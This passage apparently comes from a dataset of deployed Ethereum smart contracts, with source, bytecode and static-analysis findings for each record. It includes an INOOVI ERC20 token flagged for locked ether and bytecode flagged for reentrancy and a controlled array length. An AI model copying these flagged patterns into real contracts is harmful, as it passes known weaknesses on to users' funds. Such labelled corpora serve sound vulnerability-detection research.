} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc9073071e6194403942e8b38fd057b7cf8871bd525090906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158206d8f7e132ec7f85c4a97d65996909ffa5bf619ac38208a0edcf76cb662d1c6a664736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,961 |
0xa91464abd4625a23ab719e3f0fce84dadd54e546 | pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Function to revert eth transfers to this contract
*/
function() public payable {
revert();
}
/**
* @dev Owner can transfer out any accidentally sent ERC20 tokens
*/
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return BasicToken(tokenAddress).transfer(owner, tokens);
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _toAddresses Receiver addresses.
* @param _amounts Amounts of tokens that will be transferred.
*/
function multiSend(address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transfer(_toAddresses[i], _amounts[i]);
}
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _from The address of the sender
* @param _toAddresses The addresses of the recipients (MAX 255)
* @param _amounts The amounts of tokens to be transferred
*/
function multiSendFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transferFrom(_from, _toAddresses[i], _amounts[i]);
}
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract InooviToken is StandardToken, BurnableToken {
string public constant name = "INOOVI";
string public constant symbol = "IVI";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000001 * (10 ** uint256(decimals));
function InooviToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e57806342966c68146102cd57806370a08231146102f05780638da5cb5b1461033d57806395d89b4114610392578063a7ff237314610420578063a9059cbb146104d9578063bb4c9f0b14610533578063dc39d06d146105cd578063dd62ed3e14610627578063f2fde38b14610693575b600080fd5b34156100f657600080fd5b6100fe6106cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610705565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e66107f7565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610801565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610bc0565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610bd2565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610bd7565b005b34156102fb57600080fd5b610327600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ded565b6040518082815260200191505060405180910390f35b341561034857600080fd5b610350610e36565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561039d57600080fd5b6103a5610e5b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e55780820151818401526020810190506103ca565b50505050905090810190601f1680156104125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561042b57600080fd5b6104d7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610e94565b005b34156104e457600080fd5b610519600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f1b565b604051808215151515815260200191505060405180910390f35b341561053e57600080fd5b6105cb6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061113f565b005b34156105d857600080fd5b61060d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111c4565b604051808215151515815260200191505060405180910390f35b341561063257600080fd5b61067d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611310565b6040518082815260200191505060405180910390f35b341561069e57600080fd5b6106ca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611397565b005b6040805190810160405280600681526020017f494e4f4f5649000000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561083e57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561088c57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561091757600080fd5b61096982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ec90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fe82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ec90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a64e8d4a510010281565b601281565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3457600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c8257600080fd5b339050610cd782600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ec90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2f826002546114ec90919063ffffffff16565b6002819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f495649000000000000000000000000000000000000000000000000000000000081525081565b600060ff835111151515610ea757600080fd5b81518351141515610eb757600080fd5b600090505b82518160ff161015610f1557610f0784848360ff16815181101515610edd57fe5b90602001906020020151848460ff16815181101515610ef857fe5b90602001906020020151610801565b508080600101915050610ebc565b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f5857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fa657600080fd5b610ff882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ec90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061108d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600060ff83511115151561115257600080fd5b8151835114151561116257600080fd5b600090505b82518160ff1610156111bf576111b1838260ff1681518110151561118757fe5b90602001906020020151838360ff168151811015156111a257fe5b90602001906020020151610f1b565b508080600101915050611167565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122157600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156112ed57600080fd5b6102c65a03f115156112fe57600080fd5b50505060405180519050905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561142e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114fa57fe5b818303905092915050565b600080828401905083811015151561151957fe5b80915050929150505600a165627a7a72305820af66b0aa0a12d86ec4267aea6a78ef16958dc994cce2d83a1ba57c24873a77590029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,962 |
0xad5e5064f808ae7e02164b2fd2e58f9df48a989a | // Sources flattened with hardhat v2.3.0 https://hardhat.org
// File @openzeppelin/contracts/math/SafeMath.sol@v3.4.0-solc-0.7
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File contracts/InstaVestingResolver.sol
interface TokenInterface {
function balanceOf(address account) external view returns (uint);
